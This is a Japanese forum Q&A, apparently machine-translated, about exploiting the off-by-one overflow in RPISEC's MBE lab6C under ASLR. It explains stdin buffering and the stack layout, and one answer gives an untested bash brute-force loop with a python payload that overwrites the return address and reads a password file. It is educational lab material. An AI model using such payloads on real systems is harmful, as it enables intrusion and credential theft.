数年前にRPIによって投稿されたバイナリエクスプロイトコースに取り組んでいます。現在ASLRラボにあり、問題が発生しています(ただし、ASLRに関連する部分には問題がありません)。最初に悪用して、ASLRバイパスの追加の複雑さに対処する方法を理解できません。
コードは次のとおりです(32ビットUbuntuで実行):
https://github.com/RPISEC/MBE/blob/master/src/lab06/lab6C.c
カナリアなしでコンパイルしてもらうので、悪用するオーバーフローがあると思います。 forループを除いて、すべてのサイズが正しくチェックされているように見えますが、理解できない奇妙な動作もいくつかあります。
私がしている/知らない、または試したこと:
1。ユーザー名に40文字を書き込むと、forループがメッセージ長フィールドの1バイトを上書きします。
2。ユーザー名が非常に長い場合、ツイートフィールドの一部が上書きされ、58行目のfgetsへのユーザー入力がスキップされ、ツイートが空ではなくなります(これは私が理解できない部分です)。 set_Tweetでは、とにかく最初にメモリがゼロになっているので、そこに古いデータがあった場合、どうしてそれを消去できなかったのでしょうか。
3。構造体のメッセージ長の1バイト以上を上書きできれば、大きなreadbufをTweetに転送して、その構造体を他のメモリにオーバーランさせることができます。 forループで40ではなく41を使用してコンパイルをテストすると、これが確認されます。
- ユーザー名に40文字を書き込むと、forループがメッセージ長フィールドの1バイトを上書きします。
あなたが正しいです。これがここでのエクスプロイテーションの鍵のようです。
- ユーザー名が非常に長い場合、ツイートフィールドの一部が上書きされ、58行目のfgetsへのユーザー入力がスキップされ、ツイートが空ではなくなります(これは私が理解できない部分です)。 set_Tweetでは、とにかく最初にメモリがゼロになっているので、そこに古いデータがあった場合、どうしてそれを消去できなかったのでしょうか。
これは確かに直感的ではなく、説明するためにstdio
の動作方法を詳しく調べる必要があります。
fgets(readbuf, 128, stdin);
を呼び出すと(74行目のように)、fgetsは改行または127文字に達するまでstdinからreadbufに読み取ります。ただし、128文字以上(つまり、改行の前に少なくとも127文字)を書き込むと、残りはstdinバッファーに保持されます、58行目でfgets
を呼び出すときに抽出されます。そのため、ユーザーに再度質問する必要はありません。
ユーザー名の入力が01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567\n
であるとします。
74行目以降のreadbufは0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456
になります
58行目に到達すると、readbuf
は7\n
に設定されます。
- 構造体のメッセージ長の1バイト以上を上書きできれば、大きなreadbufをTweetに転送して、その構造体を他のメモリにオーバーランさせることができます。 forループで40ではなく41を使用してコンパイルをテストすると、これが確認されます。
ええと、あなたは255バイトまでしか書くことができません:)
ただし、爆発にはそれで十分です。 sizeof(struct savestate)= 184であり、保存後、スタックにはebx、古いebp、およびretが含まれることに注意してください。
handle_Tweet
のスタックレイアウトは次のようになります。
0xffffd840 <local2>
0xffffd844 <local1>
0xffffd848 <save> aka. ebp-0xc0
0xffffd904 <old ebx>
0xffffd908 <old ebp> current ebp points here
0xffffd90c <return address>
0xffffd910 previous stack location
幸運を!
私は1年前にそれらのエクササイズを試しました、それは楽しくて教育的でした。しかし、それらすべてを解決することはできませんでした。
ユーザー名に40文字を書き込むと、forループがメッセージ長フィールドの1バイトを上書きします。
はい、これがあなたのエクスプロイトです。私はこのようなことを試みます:
#!/bin/bash
echo bruteforcin all things
while true
do
python -c 'print "A"*40 + "\xff" + "B"*282 + "\x2b\x77\x76\xb7\n(cat /the/.pass/file/you/should/have/obtain/in/lab6b)\n"' | ./lab6C | grep -E "^[a-zA-Z0-9_\-]{12,}" && break
done
上記のコードを実際にテストしませんでした。何かを間違って入力した場合は申し訳ありません。
幸運を。